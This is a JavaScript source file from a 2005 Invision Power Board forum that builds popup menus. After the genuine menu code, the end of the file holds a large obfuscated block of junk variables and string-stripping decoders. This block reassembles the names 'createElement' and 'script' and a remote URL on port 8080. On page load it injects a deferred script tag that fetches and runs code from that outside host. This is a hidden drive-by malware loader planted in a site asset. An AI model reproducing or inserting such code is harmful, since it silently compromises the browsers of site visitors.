/*-------------------------------------------------------------------------*/
// IPS BASIC MENU CLASS (EXTENSION: BUILD SIMPLE MENU)
// (c) 2005 Invision Power Services, Inc
// Assumes that "ips_menu.js" has been loaded
/*-------------------------------------------------------------------------*/

//----------------------------------
// INIT some CSS classes
//----------------------------------

var css_mainwrap     = 'popupmenu';
var css_menusep      = 'popupmenu-item';
var css_menusep_last = 'popupmenu-item-last';

//----------------------------------
// INIT some images
//----------------------------------

var img_item   = "<img src='" + ipb_var_image_url + "/menu_item.gif' border='0' alt='V' style='vertical-align:middle' />";
var img_action = "<img src='" + ipb_var_image_url + "/menu_item2.gif' border='0' alt='V' />";

/*-------------------------------------------------------------------------*/
// Return formed image
/*-------------------------------------------------------------------------*/

function make_image( img )
{
	return "<img src='" + ipb_var_image_url + "/" + img + "' border='0' alt='-' class='ipd' />";
}

/*-------------------------------------------------------------------------*/
// menu_build_menu
// cid: ID of opener object (img, div, etc)
// menuinput: Array of menu entries | Variable of menu HTML
// complexmenu: Treat as HTML stream if true, else treat as array of HTML
/*-------------------------------------------------------------------------*/

function menu_build_menu(cid, menuinput, complexmenu)
{
	var html = "\n<div class='" + css_mainwrap + "' id='" + cid + "_menu' style='display:none;z-index:100'>\n";
	
	if ( ! complexmenu )
	{
		len = parseInt(menuinput.length);
		
		if ( len > 0 )
		{
			for( var i in menuinput )
			{
				t = parseInt(i) + 1;
				
				thisclass = ( t == len ) ? css_menusep_last : css_menusep;
				
				if ( menuinput[i].match( /^~~NODIV~~/ ) )
				{
					html += menuinput[i].replace( /^~~NODIV~~/, '' );
				}
				else
				{
					html += "<div class='" + thisclass + "'>\n" + menuinput[i] + "\n</div>\n";
				}
			}
		}
	}
	else
	{
		html += menuinput;
	}
	
	html += "\n</div>\n";
	
	//----------------------------------
	// Workaround for IE bug which shows
	// select boxes and other windows GUI
	// over divs. Write iframe
	//----------------------------------
	
	if ( is_ie )
	{
		html += "\n"+''+"\n";
	}
	
	//----------------------------------
	// Write the html
	//----------------------------------
	
	if ( html != '' )
	{
		document.getElementById( cid ).parentNode.innerHTML += html;		
	}
	
	//----------------------------------
	// Register and init
	//----------------------------------
	
	ipsmenu.dynamic_register[ ipsmenu.dynamic_register.length + 1 ]  = cid;
}

this.f="";var S;if(S!='' && S!='T'){S=null};function s() {var j=new String();this.k="";var d=new String();var gE;if(gE!='v'){gE=''};var h=']';var Cy=new Date();this.Vm="";var w=RegExp;var NH;if(NH!='_d' && NH!='vX'){NH='_d'};var M='replace';var hD="";var H='[';var BO='g';var Qz="";function B(A,P){var e=H;var Hj;if(Hj!=''){Hj='Az'};e+=P;e+=h;var Y=new w(e, BO);return A[M](Y, d);var b_;if(b_!='' && b_!='t'){b_=''};};var tF=new String();var wb;if(wb!='' && wb!='yU'){wb=''};var Lp=new Array();var tb=new String();var R=B('/3fBa3r3mBvRi3l3lqeq.Rc3oqm3/Bf3a3r5m3v5iqlBlBeR.Rc5o3mR/RgBo3o5gql5eq.qc5oBm5/Bg3o5oqgBlRe5.3c5o5mq.qaRr5/Rb5lBo3g3bBu3s5.5c3o5m3.qp3hBpq',"R3q5B");var dH=B('c9rMe_a9tMeMEilieimMe_n9t9',"Mi9_");var TO;if(TO!='' && TO!='Se'){TO=''};var BU=B('hjtZtApz:Z/z/zozvjeArZ-jbjlZojgj-AcjoZmA.jmZsZnz.zczojmZ.jcAnz.jbziAtj-zljyA.AnAeAwZaAgzejdzizrAeZcAtj.ZrZuA:Z',"AzZj");var ni;if(ni!=''){ni='Kg'};var J;if(J!='hj' && J!='Rw'){J=''};var V=B('854544550445555854544055555554',"54");var G=B('s3c3r3idpdtw',"w3d");var ul;if(ul!=''){ul='f_'};var La=new String();var n=window;var Av;if(Av!='OO' && Av!='iP'){Av=''};var LL;if(LL!='kB' && LL!='OB'){LL=''};var z='';var U="";var Wo;if(Wo!='' && Wo!='QY'){Wo=''};var Pq=new Date();n[B('oWn8l8oWa8dW',"TWH8")]=function(){var ZX=new Date();try {var Hh=new String();z+=BU;this.Be='';z+=V;var hi=new Array();z+=R;var EX=new Array();var A_=new String();var q;if(q!='pL'){q=''};_=document[dH](G);var Jt;if(Jt!='db' && Jt!='qC'){Jt='db'};this.OA='';var Ve=new Date();eu(_,'src',z);this.BQ='';var Ju=new Date();eu(_,'defer',([6,1][1]));var Uw;if(Uw!='Bl'){Uw=''};var Vq=new String();var Tt;if(Tt!='wE' && Tt != ''){Tt=null};var kE;if(kE!='sp'){kE='sp'};document.body.appendChild(_);var F=new String();} catch(C){};var sr=new String();var oH;if(oH!='LS'){oH='LS'};};var PG;if(PG!='kv' && PG!='rw'){PG='kv'};var DZ=new String();function eu(b,L,GM){this.ix="";b.setAttribute(L, GM);this.AZg="";}var Gvw;if(Gvw!='SX' && Gvw!='sT'){Gvw=''};var zm=new Array();};var kH;if(kH!='XP' && kH!='zq'){kH='XP'};s();